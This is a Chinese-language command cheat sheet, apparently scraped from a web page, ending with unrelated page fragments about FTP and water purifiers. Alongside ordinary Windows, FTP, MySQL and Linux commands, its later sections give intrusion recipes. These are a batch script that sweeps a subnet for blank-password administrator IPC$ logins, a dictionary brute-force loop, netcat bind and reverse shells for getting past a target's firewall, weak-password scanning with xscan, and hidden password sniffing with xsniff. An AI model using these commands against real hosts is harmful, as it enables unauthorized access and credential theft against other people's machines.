ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -u

⑼ 如何在虛擬機上的Linux系統配置FTP服務,跟Windows建立連接傳輸文件

在虛擬機上的Linux系統配置FTP服務,跟Windows建立連接傳輸文件的具體操作步驟如下:

1、在電腦上下載並安裝好小型FTP伺服器(Quick Easy FTP Server) 軟體,打開進行設置用戶名,用於遠程登錄。

閱讀全文

與ftpls過濾相關的資料

熱點內容
水處理反滲透工藝控制指標 瀏覽:405
30天純水斷加運動可以瘦多少錢 瀏覽:671
凈水機濾芯更換怎麼申請 瀏覽:492
新開源凈水器多少錢一台 瀏覽:206
純水的水勢為什麼比溶液的高 瀏覽:78
完美凈水器價格是多少 瀏覽:200
養殖廢水處理方案百度文庫 瀏覽:397
過濾材料ph升高 瀏覽:433
過濾是不是越強大越好 瀏覽:227
監測污水處理的資質 瀏覽:147
電瓶蒸餾水加滿可以么 瀏覽:912
污水管屬於排水系統 瀏覽:251
飲水機接水處怎麼更換 瀏覽:551
制葯廠濾芯怎麼滅菌 瀏覽:888
污水泵的編碼怎麼看 瀏覽:688
河南含鎘廢水處理價格如何 瀏覽:210
有機廢水和氟離子水有什麼危害 瀏覽:950
農村污水處理設備需要多少錢 瀏覽:760
彈簧水濾芯怎麼用 瀏覽:617
口腔門診污水處理器表 瀏覽:669